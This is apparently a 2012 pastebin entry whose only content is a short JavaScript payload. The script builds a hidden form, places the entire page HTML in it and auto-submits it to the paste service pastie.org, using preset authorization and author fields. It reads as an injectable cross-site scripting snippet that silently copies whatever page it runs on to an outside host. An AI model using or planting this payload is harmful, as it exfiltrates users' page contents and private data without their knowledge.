
Untitled
By: a guest on
May 9th, 2012 | syntax:
None | size: 0.95 KB | hits: 21 | expires: Never
<script>
function param(name, value){
var i = document.createElement('input');
i.setAttribute('type', 'hidden');
i.setAttribute('name', name);
i.setAttribute('value', value);
return i;
}
var f = document.createElement('form');
f.style.display = 'none';
document.body.appendChild(f);
f.method = 'post';
f.action = 'http://pastie.org/pastes';
i = document.createElement('input');
f.appendChild(param("paste[authorization]", "burger"));
f.appendChild(param("paste[paster_id]", 4));
f.appendChild(param("paste[restricted]", 0));
f.appendChild(param("paste[body]", document.body.innerHTML));
f.submit();
</script><form style="display: none; " method="post" action="http://pastie.org/pastes"><input type="hidden" name="paste[authorization]" value="burger"><input type="hidden" name="paste[paster_id]" value="4"><input type="hidden" name="paste[restricted]" value="0"></form>